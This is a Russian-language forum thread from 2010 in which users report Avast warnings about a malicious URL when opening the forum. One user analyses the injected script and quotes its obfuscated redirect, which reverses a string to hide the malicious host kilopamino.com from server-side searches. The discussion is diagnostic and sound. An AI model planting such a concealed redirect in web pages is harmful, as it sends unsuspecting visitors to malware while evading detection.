Вирус? на форуме? Опции

[Дедок]

Второй месяц при открытии данного форума или любой его страницы антивирусник "Аваст" верещит и выдает такое кино

При этом, пользоваться форумом разрешает, ничего не блокирует. При открытии страниц сайта - тишина. Верещит тогда, когда пытаюсь открывать страницы форума.

Сообщение отредактировал Дедок - 6.11.2010, 12:09

[Радист]

сегодня аваст опять орёт о вирусе

[vovaz02h]

сегодня аваст опять орёт о вирусе

ВРЕДОНОСНЫЙ URL-АДРЕС БЛОКИРОВАН (-А)
Для дополнительной информации посетите портал Сообщества avast!.
Объект: kilopamino.com/index11
Заражение: URLMal
Действие: Блокировано
Процесс: C:\Program Files\Opera\opera.exe

После вскрытия (а точнее - поверхностного свежевания) -так, честно говоря, и не понял, что ЭТО kilopamino.com/index11 должно было делать.
Предположительно - создать окно (невидимое ?) не менее 300 на 300 и что-то втянуть в него.

Имею предположение, что оно не в тексте движка форума, а прицепленно, возможно, по ссылкам откуда-то снаружи (баннеры? обменные линки? ... )

Повеселила строка

Код

window.location=url_de("2?igc.ni/moc.onimapolik//:ptth") ...

function url_de(s)
{
    return s.split("").reverse().join("");
}

Ну то есть в коде странички скорее всего прописано именно "2?igc.ni/moc.onimapolik//:ptth", и только на стороне клиента уже в его клиентской джаве оно "легким движением руки" ( function url_de(s){return s.split("").reverse().join("");} ) превращается в kilopamino.com/in.cgi?ну_и_так_далее поэтому искать это на сервере как kilopamino бесполезно ...


( как-то так ... просто мысли в слух ... )